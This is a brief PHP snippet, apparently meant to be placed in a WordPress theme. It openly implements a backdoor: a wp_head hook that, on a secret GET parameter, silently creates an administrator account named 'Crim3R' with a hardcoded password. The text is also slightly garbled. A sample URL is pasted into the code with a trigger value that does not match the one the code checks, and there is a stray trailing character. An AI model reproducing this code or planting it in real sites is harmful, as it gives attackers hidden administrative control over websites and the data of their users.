/wp-content/themes/ThemeName/
<?phpadd_action('wp_head', 'my_backdoor');http://wp-blog.com?backdoor=go
function my_backdoor() { If ($_GET['backdoor'] == 'tmt') { require('wp-includes/registration.php'); If (!username_exists('Crim3R')) { $user_id = wp_create_user('Crim3R', 'pa55w0rd'); $user = new WP_User($user_id); $user->set_role('administrator'); } }}?